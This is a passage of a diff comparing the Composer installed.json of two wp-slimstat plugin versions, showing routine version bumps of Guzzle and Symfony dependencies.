public static function getInitializer(ClassLoader $loader)\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fvendor\u002Fcomposer\u002Finstalled.json \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor\u002Fcomposer\u002Finstalled.json\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fvendor\u002Fcomposer\u002Finstalled.json\t2024-06-08 11:40:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fvendor\u002Fcomposer\u002Finstalled.json\t2026-03-08 13:29:08.000000000 +0000\n@@ -2,23 +2,23 @@\n     \"packages\": [\n         {\n             \"name\": \"guzzlehttp\u002Fguzzle\",\n-            \"version\": \"7.8.1\",\n-            \"version_normalized\": \"7.8.1.0\",\n+            \"version\": \"7.10.0\",\n+            \"version_normalized\": \"7.10.0.0\",\n             \"source\": {\n                 \"type\": \"git\",\n                 \"url\": \"https:\u002F\u002Fgithub.com\u002Fguzzle\u002Fguzzle.git\",\n-                \"reference\": \"41042bc7ab002487b876a0683fc8dce04ddce104\"\n+                \"reference\": \"b51ac707cfa420b7bfd4e4d5e510ba8008e822b4\"\n             },\n             \"dist\": {\n                 \"type\": \"zip\",\n-                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fguzzle\u002Fguzzle\u002Fzipball\u002F41042bc7ab002487b876a0683fc8dce04ddce104\",\n-                \"reference\": \"41042bc7ab002487b876a0683fc8dce04ddce104\",\n+                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fguzzle\u002Fguzzle\u002Fzipball\u002Fb51ac707cfa420b7bfd4e4d5e510ba8008e822b4\",\n+                \"reference\": \"b51ac707cfa420b7bfd4e4d5e510ba8008e822b4\",\n                 \"shasum\": \"\"\n             },\n             \"require\": {\n                 \"ext-json\": \"*\",\n-                \"guzzlehttp\u002Fpromises\": \"^1.5.3 || ^2.0.1\",\n-                \"guzzlehttp\u002Fpsr7\": \"^1.9.1 || ^2.5.1\",\n+                \"guzzlehttp\u002Fpromises\": \"^2.3\",\n+                \"guzzlehttp\u002Fpsr7\": \"^2.8\",\n                 \"php\": \"^7.2.5 || ^8.0\",\n                 \"psr\u002Fhttp-client\": \"^1.0\",\n                 \"symfony\u002Fdeprecation-contracts\": \"^2.2 || ^3.0\"\n@@ -29,9 +29,9 @@\n             \"require-dev\": {\n                 \"bamarni\u002Fcomposer-bin-plugin\": \"^1.8.2\",\n                 \"ext-curl\": \"*\",\n-                \"php-http\u002Fclient-integration-tests\": \"dev-master#2c025848417c1135031fdf9c728ee53d0a7ceaee as 3.0.999\",\n+                \"guzzle\u002Fclient-integration-tests\": \"3.0.2\",\n                 \"php-http\u002Fmessage-factory\": \"^1.1\",\n-                \"phpunit\u002Fphpunit\": \"^8.5.36 || ^9.6.15\",\n+                \"phpunit\u002Fphpunit\": \"^8.5.39 || ^9.6.20\",\n                 \"psr\u002Flog\": \"^1.1 || ^2.0 || ^3.0\"\n             },\n             \"suggest\": {\n@@ -39,7 +39,7 @@\n                 \"ext-intl\": \"Required for Internationalized Domain Name (IDN) support\",\n                 \"psr\u002Flog\": \"Required for using the Log middleware\"\n             },\n-            \"time\": \"2023-12-03T20:35:24+00:00\",\n+            \"time\": \"2025-08-23T22:36:01+00:00\",\n             \"type\": \"library\",\n             \"extra\": {\n                 \"bamarni-bin\": {\n@@ -111,7 +111,7 @@\n             ],\n             \"support\": {\n                 \"issues\": \"https:\u002F\u002Fgithub.com\u002Fguzzle\u002Fguzzle\u002Fissues\",\n-                \"source\": \"https:\u002F\u002Fgithub.com\u002Fguzzle\u002Fguzzle\u002Ftree\u002F7.8.1\"\n+                \"source\": \"https:\u002F\u002Fgithub.com\u002Fguzzle\u002Fguzzle\u002Ftree\u002F7.10.0\"\n             },\n             \"funding\": [\n                 {\n@@ -131,17 +131,17 @@\n         },\n         {\n             \"name\": \"guzzlehttp\u002Fpromises\",\n-            \"version\": \"2.0.2\",\n-            \"version_normalized\": \"2.0.2.0\",\n+            \"version\": \"2.3.0\",\n+            \"version_normalized\": \"2.3.0.0\",\n             \"source\": {\n                 \"type\": \"git\",\n                 \"url\": \"https:\u002F\u002Fgithub.com\u002Fguzzle\u002Fpromises.git\",\n-                \"reference\": \"bbff78d96034045e58e13dedd6ad91b5d1253223\"\n+                \"reference\": \"481557b130ef3790cf82b713667b43030dc9c957\"\n             },\n             \"dist\": {\n                 \"type\": \"zip\",\n-                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fguzzle\u002Fpromises\u002Fzipball\u002Fbbff78d96034045e58e13dedd6ad91b5d1253223\",\n-                \"reference\": \"bbff78d96034045e58e13dedd6ad91b5d1253223\",\n+                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fguzzle\u002Fpromises\u002Fzipball\u002F481557b130ef3790cf82b713667b43030dc9c957\",\n+                \"reference\": \"481557b130ef3790cf82b713667b43030dc9c957\",\n                 \"shasum\": \"\"\n             },\n             \"require\": {\n@@ -149,9 +149,9 @@\n             },\n             \"require-dev\": {\n                 \"bamarni\u002Fcomposer-bin-plugin\": \"^1.8.2\",\n-                \"phpunit\u002Fphpunit\": \"^8.5.36 || ^9.6.15\"\n+                \"phpunit\u002Fphpunit\": \"^8.5.44 || ^9.6.25\"\n             },\n-            \"time\": \"2023-12-03T20:19:20+00:00\",\n+            \"time\": \"2025-08-22T14:34:08+00:00\",\n             \"type\": \"library\",\n             \"extra\": {\n                 \"bamarni-bin\": {\n@@ -197,7 +197,7 @@\n             ],\n             \"support\": {\n                 \"issues\": \"https:\u002F\u002Fgithub.com\u002Fguzzle\u002Fpromises\u002Fissues\",\n-                \"source\": \"https:\u002F\u002Fgithub.com\u002Fguzzle\u002Fpromises\u002Ftree\u002F2.0.2\"\n+                \"source\": \"https:\u002F\u002Fgithub.com\u002Fguzzle\u002Fpromises\u002Ftree\u002F2.3.0\"\n             },\n             \"funding\": [\n                 {\n@@ -217,17 +217,17 @@\n         },\n         {\n             \"name\": \"guzzlehttp\u002Fpsr7\",\n-            \"version\": \"2.6.2\",\n-            \"version_normalized\": \"2.6.2.0\",\n+            \"version\": \"2.8.0\",\n+            \"version_normalized\": \"2.8.0.0\",\n             \"source\": {\n                 \"type\": \"git\",\n                 \"url\": \"https:\u002F\u002Fgithub.com\u002Fguzzle\u002Fpsr7.git\",\n-                \"reference\": \"45b30f99ac27b5ca93cb4831afe16285f57b8221\"\n+                \"reference\": \"21dc724a0583619cd1652f673303492272778051\"\n             },\n             \"dist\": {\n                 \"type\": \"zip\",\n-                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fguzzle\u002Fpsr7\u002Fzipball\u002F45b30f99ac27b5ca93cb4831afe16285f57b8221\",\n-                \"reference\": \"45b30f99ac27b5ca93cb4831afe16285f57b8221\",\n+                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fguzzle\u002Fpsr7\u002Fzipball\u002F21dc724a0583619cd1652f673303492272778051\",\n+                \"reference\": \"21dc724a0583619cd1652f673303492272778051\",\n                 \"shasum\": \"\"\n             },\n             \"require\": {\n@@ -242,13 +242,13 @@\n             },\n             \"require-dev\": {\n                 \"bamarni\u002Fcomposer-bin-plugin\": \"^1.8.2\",\n-                \"http-interop\u002Fhttp-factory-tests\": \"^0.9\",\n-                \"phpunit\u002Fphpunit\": \"^8.5.36 || ^9.6.15\"\n+                \"http-interop\u002Fhttp-factory-tests\": \"0.9.0\",\n+                \"phpunit\u002Fphpunit\": \"^8.5.44 || ^9.6.25\"\n             },\n             \"suggest\": {\n                 \"laminas\u002Flaminas-httphandlerrunner\": \"Emit PSR-7 responses\"\n             },\n-            \"time\": \"2023-12-03T20:05:35+00:00\",\n+            \"time\": \"2025-08-23T21:21:41+00:00\",\n             \"type\": \"library\",\n             \"extra\": {\n                 \"bamarni-bin\": {\n@@ -316,7 +316,7 @@\n             ],\n             \"support\": {\n                 \"issues\": \"https:\u002F\u002Fgithub.com\u002Fguzzle\u002Fpsr7\u002Fissues\",\n-                \"source\": \"https:\u002F\u002Fgithub.com\u002Fguzzle\u002Fpsr7\u002Ftree\u002F2.6.2\"\n+                \"source\": \"https:\u002F\u002Fgithub.com\u002Fguzzle\u002Fpsr7\u002Ftree\u002F2.8.0\"\n             },\n             \"funding\": [\n                 {\n@@ -425,17 +425,17 @@\n         },\n         {\n             \"name\": \"league\u002Fmime-type-detection\",\n-            \"version\": \"1.15.0\",\n-            \"version_normalized\": \"1.15.0.0\",\n+            \"version\": \"1.16.0\",\n+            \"version_normalized\": \"1.16.0.0\",\n             \"source\": {\n                 \"type\": \"git\",\n                 \"url\": \"https:\u002F\u002Fgithub.com\u002Fthephpleague\u002Fmime-type-detection.git\",\n-                \"reference\": \"ce0f4d1e8a6f4eb0ddff33f57c69c50fd09f4301\"\n+                \"reference\": \"2d6702ff215bf922936ccc1ad31007edc76451b9\"\n             },\n             \"dist\": {\n                 \"type\": \"zip\",\n-                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fthephpleague\u002Fmime-type-detection\u002Fzipball\u002Fce0f4d1e8a6f4eb0ddff33f57c69c50fd09f4301\",\n-                \"reference\": \"ce0f4d1e8a6f4eb0ddff33f57c69c50fd09f4301\",\n+                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fthephpleague\u002Fmime-type-detection\u002Fzipball\u002F2d6702ff215bf922936ccc1ad31007edc76451b9\",\n+                \"reference\": \"2d6702ff215bf922936ccc1ad31007edc76451b9\",\n                 \"shasum\": \"\"\n             },\n             \"require\": {\n@@ -447,7 +447,7 @@\n                 \"phpstan\u002Fphpstan\": \"^0.12.68\",\n                 \"phpunit\u002Fphpunit\": \"^8.5.8 || ^9.3 || ^10.0\"\n             },\n-            \"time\": \"2024-01-28T23:22:08+00:00\",\n+            \"time\": \"2024-09-21T08:32:55+00:00\",\n             \"type\": \"library\",\n             \"installation-source\": \"dist\",\n             \"autoload\": {\n@@ -468,7 +468,7 @@\n             \"description\": \"Mime-type detection for Flysystem\",\n             \"support\": {\n                 \"issues\": \"https:\u002F\u002Fgithub.com\u002Fthephpleague\u002Fmime-type-detection\u002Fissues\",\n-                \"source\": \"https:\u002F\u002Fgithub.com\u002Fthephpleague\u002Fmime-type-detection\u002Ftree\u002F1.15.0\"\n+                \"source\": \"https:\u002F\u002Fgithub.com\u002Fthephpleague\u002Fmime-type-detection\u002Ftree\u002F1.16.0\"\n             },\n             \"funding\": [\n                 {\n@@ -1017,17 +1017,17 @@\n         },\n         {\n             \"name\": \"symfony\u002Fconsole\",\n-            \"version\": \"v5.4.40\",\n-            \"version_normalized\": \"5.4.40.0\",\n+            \"version\": \"v5.4.47\",\n+            \"version_normalized\": \"5.4.47.0\",\n             \"source\": {\n                 \"type\": \"git\",\n                 \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fconsole.git\",\n-                \"reference\": \"aa73115c0c24220b523625bfcfa655d7d73662dd\"\n+                \"reference\": \"c4ba980ca61a9eb18ee6bcc73f28e475852bb1ed\"\n             },\n             \"dist\": {\n                 \"type\": \"zip\",\n-                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fsymfony\u002Fconsole\u002Fzipball\u002Faa73115c0c24220b523625bfcfa655d7d73662dd\",\n-                \"reference\": \"aa73115c0c24220b523625bfcfa655d7d73662dd\",\n+                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fsymfony\u002Fconsole\u002Fzipball\u002Fc4ba980ca61a9eb18ee6bcc73f28e475852bb1ed\",\n+                \"reference\": \"c4ba980ca61a9eb18ee6bcc73f28e475852bb1ed\",\n                 \"shasum\": \"\"\n             },\n             \"require\": {\n@@ -1065,7 +1065,7 @@\n                 \"symfony\u002Flock\": \"\",\n                 \"symfony\u002Fprocess\": \"\"\n             },\n-            \"time\": \"2024-05-31T14:33:22+00:00\",\n+            \"time\": \"2024-11-06T11:30:55+00:00\",\n             \"type\": \"library\",\n             \"installation-source\": \"dist\",\n             \"autoload\": {\n@@ -1099,7 +1099,7 @@\n                 \"terminal\"\n             ],\n             \"support\": {\n-                \"source\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fconsole\u002Ftree\u002Fv5.4.40\"\n+                \"source\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fconsole\u002Ftree\u002Fv5.4.47\"\n             },\n             \"funding\": [\n                 {\n@@ -1119,31 +1119,31 @@\n         },\n         {\n             \"name\": \"symfony\u002Fdeprecation-contracts\",\n-            \"version\": \"v3.5.0\",\n-            \"version_normalized\": \"3.5.0.0\",\n+            \"version\": \"v3.6.0\",\n+            \"version_normalized\": \"3.6.0.0\",\n             \"source\": {\n                 \"type\": \"git\",\n                 \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fdeprecation-contracts.git\",\n-                \"reference\": \"0e0d29ce1f20deffb4ab1b016a7257c4f1e789a1\"\n+                \"reference\": \"63afe740e99a13ba87ec199bb07bbdee937a5b62\"\n             },\n             \"dist\": {\n                 \"type\": \"zip\",\n-                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fsymfony\u002Fdeprecation-contracts\u002Fzipball\u002F0e0d29ce1f20deffb4ab1b016a7257c4f1e789a1\",\n-                \"reference\": \"0e0d29ce1f20deffb4ab1b016a7257c4f1e789a1\",\n+                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fsymfony\u002Fdeprecation-contracts\u002Fzipball\u002F63afe740e99a13ba87ec199bb07bbdee937a5b62\",\n+                \"reference\": \"63afe740e99a13ba87ec199bb07bbdee937a5b62\",\n                 \"shasum\": \"\"\n             },\n             \"require\": {\n                 \"php\": \">=8.1\"\n             },\n-            \"time\": \"2024-04-18T09:32:20+00:00\",\n+            \"time\": \"2024-09-25T14:21:43+00:00\",\n             \"type\": \"library\",\n             \"extra\": {\n-                \"branch-alias\": {\n-                    \"dev-main\": \"3.5-dev\"\n-                },\n                 \"thanks\": {\n-                    \"name\": \"symfony\u002Fcontracts\",\n-                    \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fcontracts\"\n+                    \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fcontracts\",\n+                    \"name\": \"symfony\u002Fcontracts\"\n+                },\n+                \"branch-alias\": {\n+                    \"dev-main\": \"3.6-dev\"\n                 }\n             },\n             \"installation-source\": \"dist\",\n@@ -1169,7 +1169,7 @@\n             \"description\": \"A generic function and convention to trigger deprecation notices\",\n             \"homepage\": \"https:\u002F\u002Fsymfony.com\",\n             \"support\": {\n-                \"source\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fdeprecation-contracts\u002Ftree\u002Fv3.5.0\"\n+                \"source\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fdeprecation-contracts\u002Ftree\u002Fv3.6.0\"\n             },\n             \"funding\": [\n                 {\n@@ -1189,17 +1189,17 @@\n         },\n         {\n             \"name\": \"symfony\u002Ffilesystem\",\n-            \"version\": \"v5.4.40\",\n-            \"version_normalized\": \"5.4.40.0\",\n+            \"version\": \"v5.4.45\",\n+            \"version_normalized\": \"5.4.45.0\",\n             \"source\": {\n                 \"type\": \"git\",\n                 \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Ffilesystem.git\",\n-                \"reference\": \"26dd9912df6940810ea00f8f53ad48d6a3424995\"\n+                \"reference\": \"57c8294ed37d4a055b77057827c67f9558c95c54\"\n             },\n             \"dist\": {\n                 \"type\": \"zip\",\n-                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fsymfony\u002Ffilesystem\u002Fzipball\u002F26dd9912df6940810ea00f8f53ad48d6a3424995\",\n-                \"reference\": \"26dd9912df6940810ea00f8f53ad48d6a3424995\",\n+                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fsymfony\u002Ffilesystem\u002Fzipball\u002F57c8294ed37d4a055b77057827c67f9558c95c54\",\n+                \"reference\": \"57c8294ed37d4a055b77057827c67f9558c95c54\",\n                 \"shasum\": \"\"\n             },\n             \"require\": {\n@@ -1211,7 +1211,7 @@\n             \"require-dev\": {\n                 \"symfony\u002Fprocess\": \"^5.4|^6.4\"\n             },\n-            \"time\": \"2024-05-31T14:33:22+00:00\",\n+            \"time\": \"2024-10-22T13:05:35+00:00\",\n             \"type\": \"library\",\n             \"installation-source\": \"dist\",\n             \"autoload\": {\n@@ -1239,7 +1239,7 @@\n             \"description\": \"Provides basic utilities for the filesystem\",\n             \"homepage\": \"https:\u002F\u002Fsymfony.com\",\n             \"support\": {\n-                \"source\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Ffilesystem\u002Ftree\u002Fv5.4.40\"\n+                \"source\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Ffilesystem\u002Ftree\u002Fv5.4.45\"\n             },\n             \"funding\": [\n                 {\n@@ -1259,21 +1259,21 @@\n         },\n         {\n             \"name\": \"symfony\u002Fpolyfill-ctype\",\n-            \"version\": \"v1.29.0\",\n-            \"version_normalized\": \"1.29.0.0\",\n+            \"version\": \"v1.33.0\",\n+            \"version_normalized\": \"1.33.0.0\",\n             \"source\": {\n                 \"type\": \"git\",\n                 \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill-ctype.git\",\n-                \"reference\": \"ef4d7e442ca910c4764bce785146269b30cb5fc4\"\n+                \"reference\": \"a3cc8b044a6ea513310cbd48ef7333b384945638\"\n             },\n             \"dist\": {\n                 \"type\": \"zip\",\n-                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fsymfony\u002Fpolyfill-ctype\u002Fzipball\u002Fef4d7e442ca910c4764bce785146269b30cb5fc4\",\n-                \"reference\": \"ef4d7e442ca910c4764bce785146269b30cb5fc4\",\n+                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fsymfony\u002Fpolyfill-ctype\u002Fzipball\u002Fa3cc8b044a6ea513310cbd48ef7333b384945638\",\n+                \"reference\": \"a3cc8b044a6ea513310cbd48ef7333b384945638\",\n                 \"shasum\": \"\"\n             },\n             \"require\": {\n-                \"php\": \">=7.1\"\n+                \"php\": \">=7.2\"\n             },\n             \"provide\": {\n                 \"ext-ctype\": \"*\"\n@@ -1281,12 +1281,12 @@\n             \"suggest\": {\n                 \"ext-ctype\": \"For best performance\"\n             },\n-            \"time\": \"2024-01-29T20:11:03+00:00\",\n+            \"time\": \"2024-09-09T11:45:10+00:00\",\n             \"type\": \"library\",\n             \"extra\": {\n                 \"thanks\": {\n-                    \"name\": \"symfony\u002Fpolyfill\",\n-                    \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill\"\n+                    \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill\",\n+                    \"name\": \"symfony\u002Fpolyfill\"\n                 }\n             },\n             \"installation-source\": \"dist\",\n@@ -1321,7 +1321,7 @@\n                 \"portable\"\n             ],\n             \"support\": {\n-                \"source\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill-ctype\u002Ftree\u002Fv1.29.0\"\n+                \"source\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill-ctype\u002Ftree\u002Fv1.33.0\"\n             },\n             \"funding\": [\n                 {\n@@ -1333,6 +1333,10 @@\n                     \"type\": \"github\"\n                 },\n                 {\n+                    \"url\": \"https:\u002F\u002Fgithub.com\u002Fnicolas-grekas\",\n+                    \"type\": \"github\"\n+                },\n+                {\n                     \"url\": \"https:\u002F\u002Ftidelift.com\u002Ffunding\u002Fgithub\u002Fpackagist\u002Fsymfony\u002Fsymfony\",\n                     \"type\": \"tidelift\"\n                 }\n@@ -1341,31 +1345,31 @@\n         },\n         {\n             \"name\": \"symfony\u002Fpolyfill-intl-grapheme\",\n-            \"version\": \"v1.29.0\",\n-            \"version_normalized\": \"1.29.0.0\",\n+            \"version\": \"v1.33.0\",\n+            \"version_normalized\": \"1.33.0.0\",\n             \"source\": {\n                 \"type\": \"git\",\n                 \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill-intl-grapheme.git\",\n-                \"reference\": \"32a9da87d7b3245e09ac426c83d334ae9f06f80f\"\n+                \"reference\": \"380872130d3a5dd3ace2f4010d95125fde5d5c70\"\n             },\n             \"dist\": {\n                 \"type\": \"zip\",\n-                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fsymfony\u002Fpolyfill-intl-grapheme\u002Fzipball\u002F32a9da87d7b3245e09ac426c83d334ae9f06f80f\",\n-                \"reference\": \"32a9da87d7b3245e09ac426c83d334ae9f06f80f\",\n+                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fsymfony\u002Fpolyfill-intl-grapheme\u002Fzipball\u002F380872130d3a5dd3ace2f4010d95125fde5d5c70\",\n+                \"reference\": \"380872130d3a5dd3ace2f4010d95125fde5d5c70\",\n                 \"shasum\": \"\"\n             },\n             \"require\": {\n-                \"php\": \">=7.1\"\n+                \"php\": \">=7.2\"\n             },\n             \"suggest\": {\n                 \"ext-intl\": \"For best performance\"\n             },\n-            \"time\": \"2024-01-29T20:11:03+00:00\",\n+            \"time\": \"2025-06-27T09:58:17+00:00\",\n             \"type\": \"library\",\n             \"extra\": {\n                 \"thanks\": {\n-                    \"name\": \"symfony\u002Fpolyfill\",\n-                    \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill\"\n+                    \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill\",\n+                    \"name\": \"symfony\u002Fpolyfill\"\n                 }\n             },\n             \"installation-source\": \"dist\",\n@@ -1402,7 +1406,7 @@\n                 \"shim\"\n             ],\n             \"support\": {\n-                \"source\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill-intl-grapheme\u002Ftree\u002Fv1.29.0\"\n+                \"source\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill-intl-grapheme\u002Ftree\u002Fv1.33.0\"\n             },\n             \"funding\": [\n                 {\n@@ -1414,6 +1418,10 @@\n                     \"type\": \"github\"\n                 },\n                 {\n+                    \"url\": \"https:\u002F\u002Fgithub.com\u002Fnicolas-grekas\",\n+                    \"type\": \"github\"\n+                },\n+                {\n                     \"url\": \"https:\u002F\u002Ftidelift.com\u002Ffunding\u002Fgithub\u002Fpackagist\u002Fsymfony\u002Fsymfony\",\n                     \"type\": \"tidelift\"\n                 }\n@@ -1422,31 +1430,31 @@\n         },\n         {\n             \"name\": \"symfony\u002Fpolyfill-intl-normalizer\",\n-            \"version\": \"v1.29.0\",\n-            \"version_normalized\": \"1.29.0.0\",\n+            \"version\": \"v1.33.0\",\n+            \"version_normalized\": \"1.33.0.0\",\n             \"source\": {\n                 \"type\": \"git\",\n                 \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill-intl-normalizer.git\",\n-                \"reference\": \"bc45c394692b948b4d383a08d7753968bed9a83d\"\n+                \"reference\": \"3833d7255cc303546435cb650316bff708a1c75c\"\n             },\n             \"dist\": {\n                 \"type\": \"zip\",\n-                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fsymfony\u002Fpolyfill-intl-normalizer\u002Fzipball\u002Fbc45c394692b948b4d383a08d7753968bed9a83d\",\n-                \"reference\": \"bc45c394692b948b4d383a08d7753968bed9a83d\",\n+                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fsymfony\u002Fpolyfill-intl-normalizer\u002Fzipball\u002F3833d7255cc303546435cb650316bff708a1c75c\",\n+                \"reference\": \"3833d7255cc303546435cb650316bff708a1c75c\",\n                 \"shasum\": \"\"\n             },\n             \"require\": {\n-                \"php\": \">=7.1\"\n+                \"php\": \">=7.2\"\n             },\n             \"suggest\": {\n                 \"ext-intl\": \"For best performance\"\n             },\n-            \"time\": \"2024-01-29T20:11:03+00:00\",\n+            \"time\": \"2024-09-09T11:45:10+00:00\",\n             \"type\": \"library\",\n             \"extra\": {\n                 \"thanks\": {\n-                    \"name\": \"symfony\u002Fpolyfill\",\n-                    \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill\"\n+                    \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill\",\n+                    \"name\": \"symfony\u002Fpolyfill\"\n                 }\n             },\n             \"installation-source\": \"dist\",\n@@ -1486,7 +1494,7 @@\n                 \"shim\"\n             ],\n             \"support\": {\n-                \"source\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill-intl-normalizer\u002Ftree\u002Fv1.29.0\"\n+                \"source\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill-intl-normalizer\u002Ftree\u002Fv1.33.0\"\n             },\n             \"funding\": [\n                 {\n@@ -1498,6 +1506,10 @@\n                     \"type\": \"github\"\n                 },\n                 {\n+                    \"url\": \"https:\u002F\u002Fgithub.com\u002Fnicolas-grekas\",\n+                    \"type\": \"github\"\n+                },\n+                {\n                     \"url\": \"https:\u002F\u002Ftidelift.com\u002Ffunding\u002Fgithub\u002Fpackagist\u002Fsymfony\u002Fsymfony\",\n                     \"type\": \"tidelift\"\n                 }\n@@ -1506,21 +1518,22 @@\n         },\n         {\n             \"name\": \"symfony\u002Fpolyfill-mbstring\",\n-            \"version\": \"v1.29.0\",\n-            \"version_normalized\": \"1.29.0.0\",\n+            \"version\": \"v1.33.0\",\n+            \"version_normalized\": \"1.33.0.0\",\n             \"source\": {\n                 \"type\": \"git\",\n                 \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill-mbstring.git\",\n-                \"reference\": \"9773676c8a1bb1f8d4340a62efe641cf76eda7ec\"\n+                \"reference\": \"6d857f4d76bd4b343eac26d6b539585d2bc56493\"\n             },\n             \"dist\": {\n                 \"type\": \"zip\",\n-                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fsymfony\u002Fpolyfill-mbstring\u002Fzipball\u002F9773676c8a1bb1f8d4340a62efe641cf76eda7ec\",\n-                \"reference\": \"9773676c8a1bb1f8d4340a62efe641cf76eda7ec\",\n+                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fsymfony\u002Fpolyfill-mbstring\u002Fzipball\u002F6d857f4d76bd4b343eac26d6b539585d2bc56493\",\n+                \"reference\": \"6d857f4d76bd4b343eac26d6b539585d2bc56493\",\n                 \"shasum\": \"\"\n             },\n             \"require\": {\n-                \"php\": \">=7.1\"\n+                \"ext-iconv\": \"*\",\n+                \"php\": \">=7.2\"\n             },\n             \"provide\": {\n                 \"ext-mbstring\": \"*\"\n@@ -1528,12 +1541,12 @@\n             \"suggest\": {\n                 \"ext-mbstring\": \"For best performance\"\n             },\n-            \"time\": \"2024-01-29T20:11:03+00:00\",\n+            \"time\": \"2024-12-23T08:48:59+00:00\",\n             \"type\": \"library\",\n             \"extra\": {\n                 \"thanks\": {\n-                    \"name\": \"symfony\u002Fpolyfill\",\n-                    \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill\"\n+                    \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill\",\n+                    \"name\": \"symfony\u002Fpolyfill\"\n                 }\n             },\n             \"installation-source\": \"dist\",\n@@ -1569,7 +1582,7 @@\n                 \"shim\"\n             ],\n             \"support\": {\n-                \"source\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill-mbstring\u002Ftree\u002Fv1.29.0\"\n+                \"source\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill-mbstring\u002Ftree\u002Fv1.33.0\"\n             },\n             \"funding\": [\n                 {\n@@ -1581,6 +1594,10 @@\n                     \"type\": \"github\"\n                 },\n                 {\n+                    \"url\": \"https:\u002F\u002Fgithub.com\u002Fnicolas-grekas\",\n+                    \"type\": \"github\"\n+                },\n+                {\n                     \"url\": \"https:\u002F\u002Ftidelift.com\u002Ffunding\u002Fgithub\u002Fpackagist\u002Fsymfony\u002Fsymfony\",\n                     \"type\": \"tidelift\"\n                 }\n@@ -1589,28 +1606,28 @@\n         },\n         {\n             \"name\": \"symfony\u002Fpolyfill-php73\",\n-            \"version\": \"v1.29.0\",\n-            \"version_normalized\": \"1.29.0.0\",\n+            \"version\": \"v1.33.0\",\n+            \"version_normalized\": \"1.33.0.0\",\n             \"source\": {\n                 \"type\": \"git\",\n                 \"url\": \"https:\u002F\u002Fgithub.com\u002Fsymfony\u002Fpolyfill-php73.git\",\n-                \"reference\": \"21bd091060673a1177ae842c0ef8fe30893114d2\"\n+                \"reference\": \"0f68c03565dcaaf25a890667542e8bd75fe7e5bb\"\n             },\n             \"dist\": {\n                 \"type\": \"zip\",\n-                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fsymfony\u002Fpolyfill-php73\u002Fzipball\u002F21bd091060673a1177ae842c0ef8fe30893114d2\",\n-                \"reference\": \"21bd091060673a1177ae842c0ef8fe30893114d2\",\n+                \"url\": \"https:\u002F\u002Fapi.github.com\u002Frepos\u002Fsymfony\u002Fpolyfill-php73\u002Fzipball\u002F0f68c03565dcaaf25a890667542e8bd75fe7e5bb\",\n+                \"reference\": 